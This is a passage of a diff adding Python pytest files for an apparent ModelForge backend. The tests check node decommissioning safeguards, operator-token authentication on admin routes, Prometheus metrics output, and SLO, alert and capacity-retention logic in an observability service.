+        device_uuid="GPU-DISPOSABLE",
+        name="Disposable GPU",
+        status="active",
+    )
+    session.add(accelerator)
+    session.commit()
+    lease = GpuLease(
+        accelerator_id=accelerator.id,
+        deployment_id=uuid.uuid4(),
+        priority="production",
+        reserved_vram_mb=1024,
+        state="active",
+    )
+    residency = ResidencyAllocation(
+        capability_deployment_id=uuid.uuid4(),
+        compute_node_id=node.id,
+        accelerator_id=accelerator.id,
+        state="ready",
+    )
+    session.add_all([lease, residency])
+    session.commit()
+    codes = _blocker_codes(NodeDecommissionService(session), node)
+    assert {"active_gpu_lease", "active_runtime_residency"} <= codes
+
+
+def test_active_production_deployment_blocks_decommission(session: Session) -> None:
+    node = _node(session)
+    session.add(
+        CapabilityDeployment(
+            capability_contract_id=uuid.uuid4(),
+            deployment_candidate_id=uuid.uuid4(),
+            artifact_set_id=uuid.uuid4(),
+            runtime_profile_id=uuid.uuid4(),
+            compute_node_id=node.id,
+            accelerator_id=uuid.uuid4(),
+            status="stable",
+            production=True,
+            config_fingerprint="f" * 64,
+            provenance={"test": "disposable"},
+        )
+    )
+    session.commit()
+    assert "active_production_deployment" in _blocker_codes(NodeDecommissionService(session), node)
+
+
+def test_new_work_after_preview_forces_fresh_preview(session: Session) -> None:
+    node = _node(session)
+    service = NodeDecommissionService(session)
+    preview = service.preview(node.id)
+    session.add(
+        ServingJob(
+            capability_deployment_id=uuid.uuid4(),
+            compute_node_id=node.id,
+            operation="generate",
+            status="queued",
+            idempotency_key=str(uuid.uuid4()),
+        )
+    )
+    session.commit()
+    with pytest.raises(NodeDecommissionError, match="generate a new preview") as raised:
+        service.execute(node.id, _request(preview))
+    assert raised.value.code == "decommission_preview_stale"
+    assert raised.value.details["preview"]["safe"] is False
+
+
+def test_confirmation_and_unknown_node_fail_closed(session: Session) -> None:
+    node = _node(session)
+    service = NodeDecommissionService(session)
+    preview = service.preview(node.id)
+    with pytest.raises(NodeDecommissionError) as mismatch:
+        service.execute(node.id, _request(preview, confirmation="wrong-node"))
+    assert mismatch.value.code == "decommission_confirmation_mismatch"
+    with pytest.raises(NodeDecommissionError) as missing:
+        service.preview(uuid.uuid4())
+    assert missing.value.status_code == 404
+    assert missing.value.code == "node_not_found"
+
+
+def test_current_scheduler_and_telemetry_truth_is_removed_but_identity_remains(
+    session: Session,
+) -> None:
+    node = _node(session)
+    accelerator = Accelerator(
+        compute_node_id=node.id,
+        device_index=0,
+        device_uuid="GPU-CLEANUP",
+        name="Cleanup GPU",
+        status="active",
+    )
+    session.add(accelerator)
+    session.flush()
+    session.add_all(
+        [
+            HostTelemetryLatest(
+                compute_node_id=node.id,
+                available_ram_bytes=1,
+                observed_at=datetime.now(UTC),
+            ),
+            StorageVolumeState(
+                compute_node_id=node.id,
+                purpose="models",
+                path="/disposable",
+                total_bytes=10,
+                used_bytes=1,
+                free_bytes=9,
+                observed_at=datetime.now(UTC),
+            ),
+            AcceleratorTelemetryLatest(
+                accelerator_id=accelerator.id,
+                observed_at=datetime.now(UTC),
+            ),
+            SchedulerAcceleratorState(
+                accelerator_id=accelerator.id,
+                pressure_state="NORMAL",
+                last_observed_at=datetime.now(UTC),
+            ),
+        ]
+    )
+    session.commit()
+    service = NodeDecommissionService(session)
+    preview = service.preview(node.id)
+    assert preview.safe is True
+    service.execute(node.id, _request(preview))
+    assert session.scalar(select(func.count()).select_from(HostTelemetryLatest)) == 0
+    assert session.scalar(select(func.count()).select_from(StorageVolumeState)) == 0
+    assert session.scalar(select(func.count()).select_from(AcceleratorTelemetryLatest)) == 0
+    assert session.scalar(select(func.count()).select_from(SchedulerAcceleratorState)) == 0
+    session.refresh(accelerator)
+    assert accelerator.status == "decommissioned"
+    assert session.get(ComputeNode, node.id) is not None
+
+
+def test_terminal_node_rejects_management_and_has_holding_invariant(session: Session) -> None:
+    node = _node(session)
+    service = NodeDecommissionService(session)
+    preview = service.preview(node.id)
+    service.execute(node.id, _request(preview))
+    settings = Settings(_env_file=None, operator_api_key=SecretStr("admin-key"))
+    agent = NodeAgentService(session, settings)
+    with pytest.raises(AgentConflictError, match="decommissioned"):
+        agent.update_node(node.id, NodeManagementUpdate(enabled=True))
+    with pytest.raises(AgentConflictError, match="decommissioned"):
+        agent.rotate_credential(node.id)
+    invariant = next(
+        item
+        for item in check_invariants(session).results
+        if item.key == "decommissioned_nodes_are_terminal"
+    )
+    assert invariant.status.value == "HOLDS"
+
+
+def test_old_credential_is_unusable_after_decommission(session: Session) -> None:
+    node = _node(session)
+    credential_id = uuid.uuid4()
+    raw = f"mfnode_{credential_id}_disposable-secret"
+    session.add(
+        NodeCredential(
+            id=credential_id,
+            compute_node_id=node.id,
+            secret_hash=secret_hash(raw),
+            scope="node.publish",
+        )
+    )
+    session.commit()
+    service = NodeDecommissionService(session)
+    preview = service.preview(node.id)
+    service.execute(node.id, _request(preview))
+    agent = NodeAgentService(session, Settings(_env_file=None))
+    with pytest.raises(AgentAuthenticationError, match="revoked or unknown"):
+        agent.authenticate(f"Bearer {raw}")
+
+
+def test_old_agent_report_cannot_resurrect_tombstone(session: Session) -> None:
+    node = _node(session)
+    service = NodeDecommissionService(session)
+    preview = service.preview(node.id)
+    service.execute(node.id, _request(preview))
+    agent = NodeAgentService(session, Settings(_env_file=None))
+    metadata = AgentMetadata(
+        agent_version="1.0.0",
+        protocol_version=1,
+        supported_capabilities=AGENT_PROTOCOL_CAPABILITIES,
+        started_at=datetime.now(UTC),
+    )
+    with pytest.raises(AgentConflictError, match="decommissioned"):
+        agent.heartbeat(
+            node,
+            HeartbeatRequest(
+                identity_key=node.key,
+                metadata=metadata,
+                observed_at=datetime.now(UTC),
+            ),
+        )
+    session.refresh(node)
+    assert node.liveness_state == "decommissioned"
+    assert node.enabled is False
+
+
+def test_old_persisted_identity_cannot_ordinarily_reenroll(session: Session) -> None:
+    node = _node(session)
+    service = NodeDecommissionService(session)
+    preview = service.preview(node.id)
+    service.execute(node.id, _request(preview))
+    agent = NodeAgentService(session, Settings(_env_file=None))
+    token = agent.create_enrollment(EnrollmentTokenCreate(display_name="Disposable replacement"))
+    with pytest.raises(AgentConflictError, match="explicit recovery enrollment"):
+        agent.enroll(
+            EnrollmentRequest(
+                enrollment_token=token.enrollment_token,
+                identity_key=node.key,
+                identity_source="persisted_uuid",
+                hostname=node.hostname,
+                display_name=node.display_name,
+                metadata=AgentMetadata(
+                    agent_version="1.0.0",
+                    protocol_version=1,
+                    supported_capabilities=AGENT_PROTOCOL_CAPABILITIES,
+                    started_at=datetime.now(UTC),
+                ),
+            )
+        )
+
+
+def test_scheduler_placement_evidence_excludes_decommissioned_node(session: Session) -> None:
+    node = _node(session)
+    service = NodeDecommissionService(session)
+    preview = service.preview(node.id)
+    service.execute(node.id, _request(preview))
+    deployment = CapabilityDeployment(
+        capability_contract_id=uuid.uuid4(),
+        deployment_candidate_id=uuid.uuid4(),
+        artifact_set_id=uuid.uuid4(),
+        runtime_profile_id=uuid.uuid4(),
+        compute_node_id=node.id,
+        accelerator_id=uuid.uuid4(),
+        config_fingerprint="9" * 64,
+        provenance={},
+    )
+    evidence = ServingService(
+        session,
+        Settings(_env_file=None),
+        ManifestRegistry(),
+        MemoryPayloadStore(),
+    )._placement_evidence(deployment)
+    assert str(node.id) not in {candidate["node_id"] for candidate in evidence["candidate_nodes"]}
+
+
+def test_admin_api_requires_operator_token_and_never_accepts_bearer_project_token() -> None:
+    engine = create_engine(
+        "sqlite+pysqlite:///:memory:",
+        connect_args={"check_same_thread": False},
+        poolclass=StaticPool,
+    )
+    Base.metadata.create_all(engine)
+    session = Session(engine)
+    node = _node(session)
+    settings = Settings(_env_file=None, operator_api_key=SecretStr("admin-key"))
+    service = NodeDecommissionService(session)
+    test_app = FastAPI()
+    test_app.include_router(agent_router)
+    test_app.add_exception_handler(NodeDecommissionError, node_decommission_error)
+    test_app.dependency_overrides[get_decommission_service] = lambda: service
+    test_app.dependency_overrides[get_settings] = lambda: settings
+    try:
+        with TestClient(test_app) as client:
+            path = f"/api/v1/admin/hardware/nodes/{node.id}/decommission/preview"
+            assert client.post(path).status_code == 401
+            assert (
+                client.post(path, headers={"Authorization": "Bearer project-token"}).status_code
+                == 401
+            )
+            accepted = client.post(path, headers={"X-ModelForge-Admin-Token": "admin-key"})
+            assert accepted.status_code == 200
+            assert accepted.json()["safe"] is True
+            missing = client.post(
+                f"/api/v1/admin/hardware/nodes/{uuid.uuid4()}/decommission/preview",
+                headers={"X-ModelForge-Admin-Token": "admin-key"},
+            )
+            assert missing.status_code == 404
+            assert missing.json()["error"]["code"] == "node_not_found"
+    finally:
+        test_app.dependency_overrides.clear()
+        session.close()

backend/tests/test_observability_api_m14.py

@@ -0,0 +1,104 @@
+from __future__ import annotations
+
+from collections.abc import Iterator
+
+import pytest
+from fastapi.testclient import TestClient
+from sqlalchemy import create_engine
+from sqlalchemy.exc import SQLAlchemyError
+from sqlalchemy.orm import Session
+from sqlalchemy.pool import StaticPool
+
+from modelforge_api.api.routes.observability import get_service
+from modelforge_api.main import app
+from modelforge_api.persistence.models import Base
+from modelforge_api.services.observability import ObservabilityService
+from modelforge_api.settings import Settings, get_settings
+
+
+@pytest.fixture
+def session() -> Iterator[Session]:
+    engine = create_engine(
+        "sqlite+pysqlite:///:memory:",
+        connect_args={"check_same_thread": False},
+        poolclass=StaticPool,
+    )
+    Base.metadata.create_all(engine)
+    with Session(engine) as value:
+        yield value
+
+
+@pytest.fixture(autouse=True)
+def clean_overrides() -> Iterator[None]:
+    yield
+    app.dependency_overrides.clear()
+
+
+def test_operations_routes_require_the_operator_credential(session: Session) -> None:
+    subject = ObservabilityService(session, Settings(observability_monitor_enabled=False))
+    subject.ensure_defaults()
+    app.dependency_overrides[get_service] = lambda: subject
+    app.dependency_overrides[get_settings] = lambda: Settings(
+        operator_api_key="operator-secret", observability_monitor_enabled=False
+    )
+    client = TestClient(app)
+
+    assert client.get("/api/v1/admin/operations/overview").status_code == 401
+    assert client.get(
+        "/api/v1/admin/operations/overview",
+        headers={"Authorization": "Bearer capability-client-secret"},
+    ).status_code == 401
+    response = client.get(
+        "/api/v1/admin/operations/overview",
+        headers={"X-ModelForge-Admin-Token": "operator-secret"},
+    )
+    assert response.status_code == 200
+    assert response.json()["status"] == "HEALTHY"
+
+
+def test_prometheus_endpoint_is_bounded_and_contains_no_request_payload(
+    session: Session,
+) -> None:
+    subject = ObservabilityService(session, Settings(observability_monitor_enabled=False))
+    subject.ensure_defaults()
+    app.dependency_overrides[get_service] = lambda: subject
+    app.dependency_overrides[get_settings] = lambda: Settings(
+        operator_api_key="operator-secret", observability_monitor_enabled=False
+    )
+    response = TestClient(app).get(
+        "/metrics", headers={"X-ModelForge-Admin-Token": "operator-secret"}
+    )
+
+    assert response.status_code == 200
+    assert response.headers["content-type"].startswith("text/plain")
+    assert "modelforge_api_requests_total" in response.text
+    assert "modelforge_api_request_duration_seconds_bucket" in response.text
+    for forbidden in ("request_id=", "input_sha256=", "prompt=", "payload="):
+        assert forbidden not in response.text
+
+
+def test_process_metrics_remain_available_when_observability_storage_fails() -> None:
+    class BrokenSession:
+        rolled_back = False
+
+        def rollback(self) -> None:
+            self.rolled_back = True
+
+    class BrokenService:
+        session = BrokenSession()
+
+        def prometheus(self) -> str:
+            raise SQLAlchemyError("simulated observability database outage")
+
+    broken = BrokenService()
+    app.dependency_overrides[get_service] = lambda: broken
+    app.dependency_overrides[get_settings] = lambda: Settings(
+        operator_api_key="operator-secret", observability_monitor_enabled=False
+    )
+    response = TestClient(app).get(
+        "/metrics", headers={"X-ModelForge-Admin-Token": "operator-secret"}
+    )
+
+    assert response.status_code == 200
+    assert broken.session.rolled_back is True
+    assert "modelforge_observability_degraded 1" in response.text

backend/tests/test_observability_m14.py

@@ -0,0 +1,587 @@
+from __future__ import annotations
+
+import uuid
+from datetime import UTC, datetime, timedelta
+
+import pytest
+from sqlalchemy import create_engine, func, select
+from sqlalchemy.orm import Session
+
+from modelforge_api.domain.observability import (
+    AlertAction,
+    AlertState,
+    MaintenanceWindowCreate,
+    MetricDefinition,
+    MetricRegistry,
+    SLOPolicyCreate,
+    SLOState,
+    TelemetryType,
+    metrics,
+)
+from modelforge_api.persistence.models import (
+    Accelerator,
+    AcceleratorTelemetryLatest,
+    AlertHistoryEvent,
+    AlertRuleRevision,
+    Base,
+    CapacityAggregate,
+    CapacitySnapshot,
+    ComputeNode,
+    GatewayRequest,
+    OperationalAlert,
+    OperationalIncident,
+    ServiceLevelIndicator,
+    SLOPolicyRevision,
+    StorageRoot,
+    StorageVolumeState,
+)
+from modelforge_api.services.observability import ObservabilityService
+from modelforge_api.settings import Settings
+
+
+@pytest.fixture
+def session() -> Session:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as value:
+        yield value
+
+
+def service(session: Session) -> ObservabilityService:
+    return ObservabilityService(
+        session,
+        Settings(observability_monitor_enabled=False),
+        actor="m14-test",
+    )
+
+
+def production_node(session: Session, *, liveness: str = "offline") -> ComputeNode:
+    node = ComputeNode(
+        key=f"m14-node-{uuid.uuid4()}",
+        hostname="gpu_node.example.test",
+        display_name="GPU Node",
+        identity_source="node_agent",
+        status="active",
+        inventory={},
+        enabled=True,
+        production_eligible=True,
+        lab_eligible=True,
+        benchmark_eligible=True,
+        liveness_state=liveness,
+        last_heartbeat_at=datetime.now(UTC),
+        total_ram_bytes=64 * 1024**3,
+    )
+    session.add(node)
+    session.flush()
+    return node
+
+
+def test_metric_contract_rejects_unbounded_labels_and_exports_histogram() -> None:
+    registry = MetricRegistry()
+    registry.define(
+        MetricDefinition(
+            name="modelforge_test_duration_seconds",
+            type=TelemetryType.HISTOGRAM,
+            help="Bounded test duration",
+            labels=("route_class",),
+        )
+    )
+    registry.observe("modelforge_test_duration_seconds", {"route_class": "gateway"}, 0.25)
+
+    output = registry.render()
+
+    assert "# TYPE modelforge_test_duration_seconds histogram" in output
+    assert 'modelforge_test_duration_seconds_bucket{le="0.25",route_class="gateway"} 1' in output
+    assert 'modelforge_test_duration_seconds_bucket{le="+Inf",route_class="gateway"} 1' in output
+    assert 'modelforge_test_duration_seconds_sum{route_class="gateway"} 0.25' in output
+    with pytest.raises(ValueError, match="bounded and non-sensitive"):
+        registry.define(
+            MetricDefinition(
+                name="modelforge_invalid_total",
+                type=TelemetryType.COUNTER,
+                help="Invalid metric",
+                labels=("request_id",),
+            )
+        )
+    counter = MetricRegistry()
+    counter.define(
+        MetricDefinition(
+            name="modelforge_test_requests_total",
+            type=TelemetryType.COUNTER,
+            help="Bounded request outcomes",
+            labels=("status",),
+        )
+    )
+    counter.increment("modelforge_test_requests_total", {"status": "ok"}, 2)
+    assert counter.samples("modelforge_test_requests_total") == [({"status": "ok"}, 2)]
+    with pytest.raises(ValueError, match="requires labels"):
+        counter.increment("modelforge_test_requests_total", {"payload": "secret"})
+
+
+def test_defaults_are_typed_versioned_and_lab_has_no_error_budget(session: Session) -> None:
+    subject = service(session)
+    subject.ensure_defaults()
+
+    assert session.scalar(select(func.count()).select_from(ServiceLevelIndicator)) == 11
+    assert session.scalar(select(func.count()).select_from(SLOPolicyRevision)) == 9
+    # 12 M14 operational rules plus the five M15 recovery rules.
+    assert session.scalar(select(func.count()).select_from(AlertRuleRevision)) == 17
+    recovery_rules = {
+        item.key: item.alert_type
+        for item in session.scalars(
+            select(AlertRuleRevision).where(AlertRuleRevision.key.like("recovery.%"))
+        )
+    }
+    assert recovery_rules == {
+        "recovery.backup-stale": "BACKUP_STALE",
+        "recovery.backup-failed": "BACKUP_FAILED",
+        "recovery.backup-verification-failed": "BACKUP_VERIFICATION_FAILED",
+        "recovery.restore-failed": "RESTORE_FAILED",
+        "recovery.readiness-degraded": "RECOVERY_READINESS_DEGRADED",
+    }
+
+    original = session.scalar(
+        select(SLOPolicyRevision).where(SLOPolicyRevision.key == "gateway.production")
+    )
+    assert original is not None
+    revised = subject.create_policy(
+        SLOPolicyCreate(
+            key=original.key,
+            sli_definition_id=original.sli_definition_id,
+            objective=0.995,
+            rolling_window_seconds=original.rolling_window_seconds,
+            minimum_sample_count=original.minimum_sample_count,
+            severity=original.severity,
+            environment="PRODUCTION",
+            effective_from=datetime.now(UTC),
+            rationale="A deliberate test revision preserving immutable history.",
+            created_by="test-operator",
+        )
+    )
+    session.refresh(original)
+
+    assert revised.revision == 2
+    assert revised.active is True
+    assert original.active is False
+    assert original.fingerprint != revised.fingerprint
+
+    evaluations = subject.evaluate_slos(datetime.now(UTC) + timedelta(seconds=1))
+    vision = next(item for item in evaluations if item.policy_key == "vision.embedding.lab")
+    production = next(item for item in evaluations if item.policy_key == "gateway.production")
+    assert vision.state is SLOState.INSUFFICIENT_DATA
+    assert vision.allowed_bad is None
+    assert vision.remaining_bad is None
+    assert production.allowed_bad is not None
+
+
+def test_slo_evaluation_tracks_population_latency_and_burn_rates(session: Session) -> None:
+    subject = service(session)
+    subject.ensure_defaults()
+    now = datetime.now(UTC)
+    for index in range(20):
+        completed = index != 19
+        session.add(
+            GatewayRequest(
+                request_id=uuid.uuid4(),
+                capability_key="rag.embedding",
+                capability_version=1,
+                status="completed" if completed else "failed",
+                priority="interactive",
+                input_sha256=f"{index:064x}",
+                input_count=1,
+                total_latency_ms=1500.0 if index == 18 else (100.0 if completed else None),
+                failure_code=None if completed else "RUNTIME_FAILED",
+                decision_evidence={"source": "m14-test"},
+                created_at=now - timedelta(seconds=index),
+                finished_at=now - timedelta(seconds=index) if completed else None,
+            )
+        )
+    session.commit()
+
+    results = subject.evaluate_slos(now + timedelta(seconds=1))
+    success = next(
+        item for item in results if item.policy_key == "rag.embedding.production.success"
+    )
+    latency = next(
+        item for item in results if item.policy_key == "rag.embedding.production.latency"
+    )
+
+    assert success.sample_count == 20
+    assert success.bad_count == 1
+    assert success.state is SLOState.BREACHED
+    assert success.long_burn_rate == pytest.approx(5.0)
+    assert latency.sample_count == 19
+    assert latency.bad_count == 1
+    assert latency.observed_value == pytest.approx(240.0)
+    assert latency.short_burn_rate == pytest.approx((1 / 19) / 0.05)
+
+
+def test_slo_window_at_risk_stale_and_budget_recovery(session: Session) -> None:
+    subject = service(session)
+    subject.ensure_defaults()
+    now = datetime.now(UTC)
+    node = production_node(session, liveness="online")
+    node.last_heartbeat_at = now - timedelta(seconds=100)
+    for index in range(100):
+        completed = index < 98
+        session.add(
+            GatewayRequest(
+                request_id=uuid.uuid4(),
+                capability_key="other.capability",
+                capability_version=1,
+                status="completed" if completed else "failed",
+                priority="interactive",
+                input_sha256=f"{index + 1000:064x}",
+                input_count=1,
+                total_latency_ms=100 if completed else None,
+                failure_code=None if completed else "CONTROLLED_FAILURE",
+                decision_evidence={},
+                created_at=now - timedelta(minutes=index),
+            )
+        )
+    session.add(
+        GatewayRequest(
+            request_id=uuid.uuid4(),
+            capability_key="other.capability",
+            capability_version=1,
+            status="failed",
+            priority="interactive",
+            input_sha256="f" * 64,
+            input_count=1,
+            failure_code="OLD_FAILURE",
+            decision_evidence={},
+            created_at=now - timedelta(days=2),
+        )
+    )
+    session.commit()
+
+    first = subject.evaluate_slos(now)
+    gateway = next(item for item in first if item.policy_key == "gateway.production")
+    freshness = next(item for item in first if item.policy_key == "gpu_node.production.freshness")
+    assert gateway.state is SLOState.AT_RISK
+    assert gateway.sample_count == 100
+    assert gateway.bad_count == 2
+    assert gateway.remaining_bad == 0
+    assert gateway.long_burn_rate == pytest.approx(2.0)
+    assert freshness.state is SLOState.STALE
+
+    recovered_at = now + timedelta(hours=25)
+    node.last_heartbeat_at = recovered_at
+    for index in range(20):
+        session.add(
+            GatewayRequest(
+                request_id=uuid.uuid4(),
+                capability_key="other.capability",
+                capability_version=1,
+                status="completed",
+                priority="interactive",
+                input_sha256=f"{index + 2000:064x}",
+                input_count=1,
+                total_latency_ms=100,
+                decision_evidence={},
+                created_at=recovered_at - timedelta(seconds=index),
+            )
+        )
+    session.commit()
+    recovered = subject.evaluate_slos(recovered_at)
+    gateway_recovered = next(item for item in recovered if item.policy_key == "gateway.production")
+    assert gateway_recovered.state is SLOState.HEALTHY
+    assert gateway_recovered.bad_count == 0
+    assert gateway_recovered.remaining_bad == pytest.approx(0.2)
+
+
+def test_alert_pending_firing_acknowledged_resolved_and_correlated(session: Session) -> None:
+    subject = service(session)
+    subject.ensure_defaults()
+    node = production_node(session)
+    session.commit()
+    start = datetime.now(UTC) - timedelta(seconds=30)
+
+    first = next(
+        item for item in subject.evaluate_alerts(start) if item.alert_type == "NODE_OFFLINE"
+    )
+    assert first.state is AlertState.PENDING
+    firing = next(
+        item
+        for item in subject.evaluate_alerts(start + timedelta(seconds=11))
+        if item.id == first.id
+    )
+    assert firing.state is AlertState.FIRING
+    assert firing.occurrence_count == 2
+    assert session.scalar(select(func.count()).select_from(OperationalIncident)) == 1
+
+    acknowledged = subject.acknowledge(
+        firing.id, AlertAction(actor="on-call", reason="Investigating node connectivity")
+    )
+    assert acknowledged.state is AlertState.ACKNOWLEDGED
+    node.liveness_state = "online"
+    session.commit()
+    resolved = next(
+        item
+        for item in subject.evaluate_alerts(datetime.now(UTC) + timedelta(seconds=1))
+        if item.id == first.id
+    )
+    assert resolved.state is AlertState.RESOLVED
+    history = list(
+        session.scalars(
+            select(AlertHistoryEvent)
+            .where(AlertHistoryEvent.alert_id == first.id)
+            .order_by(AlertHistoryEvent.occurred_at)
+        )
+    )
+    assert [item.to_state for item in history] == [
+        "PENDING",
+        "FIRING",
+        "ACKNOWLEDGED",
+        "RESOLVED",
+    ]
+    incident = session.scalar(select(OperationalIncident))
+    assert incident is not None and incident.state == "RESOLVED"
+
+
+def test_capability_rules_separate_lab_from_production(session: Session) -> None:
+    subject = service(session)
+    subject.ensure_defaults()
+    production_rule = session.scalar(
+        select(AlertRuleRevision).where(AlertRuleRevision.key == "capability.unavailable")
+    )
+    lab_rule = session.scalar(
+        select(AlertRuleRevision).where(AlertRuleRevision.key == "capability.lab-unavailable")
+    )
+
+    assert production_rule is not None
+    assert production_rule.condition == {"production_only": True}
+    assert lab_rule is not None
+    assert lab_rule.condition == {"lab_only": True}
+
+
+def test_overview_reports_observability_persistence_degradation(session: Session) -> None:
+    subject = service(session)
+    subject.ensure_defaults()
+    metrics.gauge("modelforge_observability_degraded", {}, 1)
+    try:
+        assert subject.overview().status == "OBSERVABILITY_DEGRADED"
+    finally:
+        metrics.gauge("modelforge_observability_degraded", {}, 0)
+
+
+def test_maintenance_window_suppresses_matching_alert(session: Session) -> None:
+    subject = service(session)
+    subject.ensure_defaults()
+    node = production_node(session)
+    session.commit()
+    now = datetime.now(UTC)
+    subject.create_maintenance_window(
+        MaintenanceWindowCreate(
+            name="GPU Node maintenance rehearsal",
+            starts_at=now - timedelta(minutes=1),
+            ends_at=now + timedelta(minutes=10),
+            matcher={"rule_key": "node.offline", "subject_ref": str(node.id)},
+            reason="M14 deterministic suppression verification",
+            created_by="test-operator",
+        )
+    )
+
+    alert = next(item for item in subject.evaluate_alerts(now) if item.alert_type == "NODE_OFFLINE")
+
+    assert alert.state is AlertState.SUPPRESSED
+    assert alert.suppressed_until is not None
+    assert alert.suppressed_until.replace(tzinfo=UTC) == now + timedelta(minutes=10)
+    assert session.scalar(select(func.count()).select_from(OperationalIncident)) == 0
+
+
+def test_alert_cooldown_reuses_fingerprint_and_storage_threshold_fires(
+    session: Session,
+) -> None:
+    subject = service(session)
+    subject.ensure_defaults()
+    node = production_node(session)
+    storage = StorageRoot(
+        compute_node_id=node.id,
+        name="models",
+        purpose="model_artifacts",
+        path="D:/models",
+        status="ready",
+        writable=True,
+        capacity_bytes=100 * 1024**3,
+        free_bytes=12 * 1024**3,
+        reserve_bytes=10 * 1024**3,
+        reserve_percent=10,
+        validation_details={},
+    )
+    session.add(storage)
+    session.commit()
+    start = datetime.now(UTC) - timedelta(seconds=30)
+    first = subject.evaluate_alerts(start)
+    node_alert = next(item for item in first if item.alert_type == "NODE_OFFLINE")
+    storage_alert = next(item for item in first if item.alert_type == "STORAGE_LOW")
+    assert storage_alert.state is AlertState.FIRING
+    firing = next(
+        item
+        for item in subject.evaluate_alerts(start + timedelta(seconds=11))
+        if item.id == node_alert.id
+    )
+    assert firing.state is AlertState.FIRING
+    node.liveness_state = "online"
+    storage.free_bytes = 90 * 1024**3
+    session.commit()
+    resolved = next(
+        item
+        for item in subject.evaluate_alerts(start + timedelta(seconds=20))
+        if item.id == node_alert.id
+    )
+    node.liveness_state = "offline"
+    session.commit()
+    during_cooldown = next(
+        item
+        for item in subject.evaluate_alerts(start + timedelta(seconds=30))
+        if item.id == node_alert.id
+    )
+    assert during_cooldown.state is AlertState.RESOLVED
+    recurred = next(
+        item
+        for item in subject.evaluate_alerts(start + timedelta(seconds=321))
+        if item.id == node_alert.id
+    )
+    assert recurred.state is AlertState.PENDING
+    assert recurred.fingerprint == resolved.fingerprint
+
+
+def test_incident_groups_evidenced_downstream_only(session: Session) -> None:
+    subject = service(session)
+    subject.ensure_defaults()
+    node = production_node(session)
+    session.commit()
+    now = datetime.now(UTC) - timedelta(seconds=20)
+    subject.evaluate_alerts(now)
+    node_alert = next(
+        item
+        for item in subject.evaluate_alerts(now + timedelta(seconds=11))
+        if item.alert_type == "NODE_OFFLINE"
+    )
+    capability_rule = session.scalar(
+        select(AlertRuleRevision).where(AlertRuleRevision.key == "capability.unavailable")
+    )
+    assert capability_rule is not None
+    downstream = OperationalAlert(
+        rule_id=capability_rule.id,
+        fingerprint="d" * 64,
+        alert_type="CAPABILITY_UNAVAILABLE",
+        severity="CRITICAL",
+        state="FIRING",
+        source="capability_deployment",
+        subject_type="capability",
+        subject_ref="rag.embedding@1",
+        summary="Stable capability cannot serve",
+        details={},
+        first_seen_at=now,
+        last_seen_at=now,
+        firing_at=now,
+        occurrence_count=1,
+    )
+    unrelated = OperationalAlert(
+        rule_id=capability_rule.id,
+        fingerprint="e" * 64,
+        alert_type="RUNTIME_CRASH_LOOP",
+        severity="CRITICAL",
+        state="FIRING",
+        source="serving_jobs",
+        subject_type="service",
+        subject_ref="runtime",
+        summary="Runtime failures",
+        details={},
+        first_seen_at=now,
+        last_seen_at=now,
+        firing_at=now,
+        occurrence_count=1,
+    )
+    session.add_all((downstream, unrelated))
+    session.flush()
+    subject._correlate_incident(downstream, {"details": {"node_id": str(node.id)}}, now)
+    subject._correlate_incident(unrelated, {"details": {}}, now)
+    session.commit()
+    root = session.get(OperationalAlert, node_alert.id)
+    assert root is not None
+    assert downstream.incident_id == root.incident_id
+    assert unrelated.incident_id is None
+    assert session.scalar(select(func.count()).select_from(OperationalIncident)) == 1
+
+
+def test_capacity_trends_forecast_refusal_and_retention(session: Session) -> None:
+    subject = service(session)
+    node = production_node(session, liveness="online")
+    accelerator = Accelerator(
+        compute_node_id=node.id,
+        device_index=0,
+        device_uuid="GPU-M14",
+        name="Test GPU",
+        total_vram_bytes=16 * 1024**3,
+        status="active",
+        capabilities={},
+    )
+    session.add(accelerator)
+    session.flush()
+    telemetry = AcceleratorTelemetryLatest(
+        accelerator_id=accelerator.id,
+        used_vram_bytes=4 * 1024**3,
+        free_vram_bytes=12 * 1024**3,
+        availability={},
+        observed_at=datetime.now(UTC),
+        received_at=datetime.now(UTC),
+    )
+    storage = StorageVolumeState(
+        compute_node_id=node.id,
+        purpose="model_artifacts",
+        path="D:/models",
+        total_bytes=2 * 1024**4,
+        used_bytes=1024**4,
+        free_bytes=1024**4,
+        availability={},
+        observed_at=datetime.now(UTC),
+        received_at=datetime.now(UTC),
+    )
+    session.add_all((telemetry, storage))
+    session.commit()
+    base = datetime.now(UTC) - timedelta(hours=2)
+
+    for index in range(12):
+        observed = base + timedelta(minutes=index * 10)
+        telemetry.used_vram_bytes = (4 * 1024**3) + index * 1024**2
+        telemetry.received_at = observed
+        telemetry.observed_at = observed
+        storage.free_bytes = (1024**4) - index * 1024**3
+        storage.observed_at = observed
+        storage.received_at = observed
+        session.commit()
+        subject.collect_capacity(observed)
+
+    trend = subject.capacity_trend(node.id, hours=4)
+    assert trend.status == "AVAILABLE"
+    assert trend.sample_count == 12
+    assert trend.metrics["gpu_schedulable_p95"] is not None
+    assert trend.metrics["external_gpu_max"] is not None
+    assert trend.forecast["status"] == "AVAILABLE"
+    assert trend.forecast["storage_change_bytes_per_day"] < 0
+
+    snapshots = list(
+        session.scalars(select(CapacitySnapshot).order_by(CapacitySnapshot.observed_at))
+    )
+    for item in snapshots[1:]:
+        session.delete(item)
+    session.commit()
+    refused = subject.capacity_trend(node.id, hours=4)
+    assert refused.status == "INSUFFICIENT_DATA"
+    assert refused.forecast == {"status": "INSUFFICIENT_DATA"}
+
+    old = snapshots[0]
+    old.observed_at = datetime.now(UTC) - timedelta(days=8)
+    session.add(old)
+    session.commit()
+    retention = subject.apply_retention(datetime.now(UTC))
+    assert retention == {
+        "aggregates_created": 1,
+        "raw_deleted": 1,
+        "aggregates_deleted": 0,
+    }
+    assert session.scalar(select(func.count()).select_from(CapacityAggregate)) == 1
+    assert session.scalar(select(func.count()).select_from(CapacitySnapshot)) == 0

backend/tests/test_packaging_m17.py

@@ -0,0 +1,680 @@
+"""Packaging and configuration guarantees for the v1 release.
+
+The release artefact is what an operator receives. These tests hold it to the things that are only
+noticeable once it is too late: a secret that shipped, a production overlay that quietly accepts a
+development default, an image without the identity to trace it back to a commit.
+"""
+
+from __future__ import annotations
+
+import json
+import re
+import subprocess
+import sys
+import tomllib
+from pathlib import Path, PurePosixPath
+
+import pytest
+
+from modelforge_api.domain.configuration_reference import (
+    DEPLOYMENT_DOCS,
+    SETTING_DOCS,
+    Sensitivity,
+)
+from modelforge_api.domain.release import PRODUCT_VERSION
+from modelforge_api.settings import Settings
+
